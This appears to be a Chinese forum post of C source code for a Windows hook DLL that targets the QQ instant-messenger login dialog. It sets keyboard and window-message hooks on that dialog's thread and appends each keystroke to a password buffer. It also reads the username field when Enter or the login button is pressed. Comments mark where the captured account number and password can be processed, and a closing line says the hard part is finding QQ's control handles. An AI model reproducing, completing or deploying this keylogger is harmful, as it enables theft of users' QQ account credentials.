#include<windows.h>
HWND hQQLandDlg=NULL;
HWND hUserNameEdit=NULL;
HWND hPasswordComboBox=NULL;
HWND hButton=NULL;
HHOOK hKeyboard=NULL;
HHOOK hWndProc=NULL;
HINSTANCE hHookDll;
char szPassword[128];
char szUserName[128];
int pszPasswordLen;
LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam );
LRESULT CALLBACK CallWndProc ( int nCode, WPARAM wParam, LPARAM lParam ) ;
BOOL WINAPI SetHook ( HWND hQQLand, HWND hUserName, HWND hPassword, HWND hLandButton, BOOL isInstall )
{
if ( isInstall )
{
hQQLandDlg = hQQLand ;
hUserNameEdit = hUserName ;
hPasswordComboBox = hPassword ;
hButton = hLandButton ;
DWORD dwQQLandDlgThreadId = GetWindowThreadProcessId ( hQQLand, NULL ) ;
hHookDll = GetModuleHandle ( "MyQQHook" ) ;
hKeyboard = SetWindowsHookEx ( WH_KEYBOARD,
(HOOKPROC)KeyboardProc, hHookDll, dwQQLandDlgThreadId ) ;
hWndProc = SetWindowsHookEx ( WH_CALLWNDPROC,
(HOOKPROC)CallWndProc, hHookDll, dwQQLandDlgThreadId ) ;
if ( hKeyboard != NULL && hWndProc != NULL )
return true ;
}
else
{
UnhookWindowsHookEx ( hKeyboard ) ;
UnhookWindowsHookEx ( hWndProc ) ;
hHookDll = NULL ;
hKeyboard = NULL ;
hWndProc = NULL ;
ZeroMemory ( szPassword, 128 ) ;
pszPasswordLen = 0 ;
}
return false ;
}
LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam )
{
//检测回车键是否被按下
if ( wParam == VK_RETURN && lParam > 0 )
{
//由于钩子函数只是记录对密码框的记录,因而在最后时刻取得号码会是准确的
SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );
//此处可以自由处理拦截到的号码和密码(szUserName,szPassword)
//不要忘了变量还原(szUserName,szPassword)
}
if ( lParam > 0 && wParam != VK_RETURN )
{
char KeyName[10] ;
ZeroMemory ( KeyName, 10 ) ;
GetKeyNameText ( lParam, KeyName, 10 ) ;
if ( strlen ( KeyName ) == 1 )
{
strcat ( szPassword, KeyName ) ;
}
}
return CallNextHookEx ( hKeyboard, nCode, wParam, lParam ) ;
}
LRESULT CALLBACK CallWndProc ( int nCode, WPARAM wParam, LPARAM lParam )
{
CWPSTRUCT *p = (CWPSTRUCT*)lParam ;
if ( p->message == WM_COMMAND && p->hwnd == hButton )
{//同理
SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );
//这里可添加如何处理密码的语句
}
return CallNextHookEx ( hWndProc, nCode, wParam, lParam ) ;
}
主要问题是如何获得QQ的控件句柄!!呵呵!!有难度啊!!